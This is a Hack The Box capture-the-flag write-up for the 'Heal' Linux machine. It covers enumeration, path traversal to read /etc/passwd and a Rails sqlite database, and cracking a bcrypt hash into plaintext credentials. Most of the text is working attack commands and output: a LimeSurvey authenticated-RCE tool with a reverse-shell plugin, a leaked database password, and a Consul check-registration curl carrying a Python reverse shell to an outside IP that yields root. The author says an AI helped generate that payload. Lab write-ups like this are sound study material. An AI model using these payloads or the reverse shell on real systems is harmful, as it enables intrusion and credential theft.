HTB - Heal

Box Info

Name	Heal
Release Date	14 Dec, 2024
OS	Linux
Rated Difficulty	Medium

Enumeration

sudo nmap -p- --open --min-rate 5000 -n -vvv -Pn 10.10.11.46 -oG allPorts

nmap -p 80,22 -sCV 10.10.11.46 -oN targeted

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

echo "10.10.11.46 heal.htb" | sudo tee -a /etc/hosts

dirb http://heal.htb

Intercept with BurpSuite the resquest when log in

API as subdomain

• Run wfuzz for confirm

wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302,301 -H "Host: FUZZ.heal.htb" -u http://heal.htb/ -t 100

Adding to the hosts file

But there’s nothing, we go back to register. Now, after registering, we can log in. We found a section call Take The Survey and redirect us to another subdomain

• ralph is administrator

Scan Directory

gobuster dir -u http://take-survey.heal.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

/docs                 (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/docs/]
/themes               (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/themes/]
/modules              (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/modules/]
/admin                (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/admin/]
/assets               (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/assets/]
/upload               (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/upload/]
/plugins              (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/plugins/]
/vendor               (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/vendor/]
/application          (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/application/]
/restaurants          (Status: 500) [Size: 45]
/surveys              (Status: 200) [Size: 75816]
/editor               (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/editor/]
/tmp                  (Status: 301) [Size: 178] [--> http://take-survey.heal.htb/tmp/]
/LICENSE              (Status: 200) [Size: 49474]
/rest                 (Status: 500) [Size: 45]

• Version of LimeSurvey

https://github.com/LimeSurvey/LimeSurvey/tree/master/docs

http://take-survey.heal.htb/docs/release_notes.txt

we found panel administrator, now we know ralph is administrator

Resume Builder (The app give us a pdf with the resume)

When intercept the download we can see query parameter “filename”

Path Traversal

GET /download?filename=../../../../etc/passwd HTTP/1.1

We found a potential PT when the request is GET, we can change the file pdf as /etc/passwd

Users

ralph
ron
www-data

api.heal.htb its from ruby on rails so we need to found the config file

Now we looking the config file trought Path Traversal and open the pdf file

``../../development.sqlite3`

we need to change to .sqlite3 extension and open it

mv 0bdcc2fb3.pdf database.db

sqlite3 database.db

.tables

SELECT * FROM users;

ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
elliot@test.com|$2a$12$HYWjZkQcKOvLLtpqmK3BU..XttEbPOq5vd4M/IqmknFvRZ12HjLju
fake_email@g.com|$2a$12$L3v4SYklWOJt6ew1ThCkfOzyOzNUaWFxSHYktaCNsDrAO45syQRtK
da@da.ce|$2a$12$1bbrSpCjqnZ6A16epkujj.vgQ0UotDdzAYYHVg3dKCzaiH1aGkVeK
test@test.com|$2a$12$HQJ64SJrpZXWPecdgAg.GuvXiaaW2oUztUtUUaxZjpsxDYZwD1Jmu0
test1@test.com|$2a$12$cPJz41IVeH57DPuZ6BlhlOu.I2vfAlMiLq3QEUL1JXlF9myD0cyJS

john hash -w=/usr/share/wordlists/rockyou.txt

Creds:

ralph 147258369

Log In on take-survey.heal.htb

Once log in, we can run the CVE-2021-44967 (RCE)

https://github.com/TheRedP4nther/limesurvey-6.6.4-authenticated-rce

This rce affect to lime survey 6.6.4, just follow the installation and usage

Edit config.xml: Plugin configuration file. revshell.php: Reverse shell payload.

Upload the rev.zip file and activate

You can see if the zip load correct and activate correct

rlwrap nc -lvnp 443

python3 limesurvey_rce.py -t http://take-survey.heal.htb/ -u ralph -p 147258369

sh -c /bin/sh -i

cat /var/www/limesurvey/application/config/config.php

db_user
AdmiDi0_pA$$w0rd

ser=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey

• PostgreSQL

Environment variable that PostgreSQL recognizes to temporarily provide the password

PGPASSWORD='AdmiDi0_pA$$w0rd psql' -U db_user survey -h localhost

but therers nothing with do, so we again to look

netstat -nlp

I use curl for look if theres a website

curl -X GET "http://localhost:5800/"

Redirect to /ui/

curl -X GET "http://localhost:5800/ui/"

google it as consul 1.19.2 exploit

curl -X GET http://localhost:8500/ui/ | grep "Consul"

Remote Command Execution

https://www.exploit-db.com/exploits/51117

I supported with deepseek AI for generate a cURL command with json format

and modify some parameters

curl -X PUT  -d '{
    "ID": "rc",
    "Name": "Remote code execution",
    "Shell": "/bin/bash",
    "Interval": "5s",
    "Args": [
        "python3",
        "-c",
        "import socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\"10.10.15.14\", 4444)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p=subprocess.Popen([\"/bin/sh\", \"-i\"])"
    ]
}' http://localhost:8500/v1/agent/check/register

run it and rooted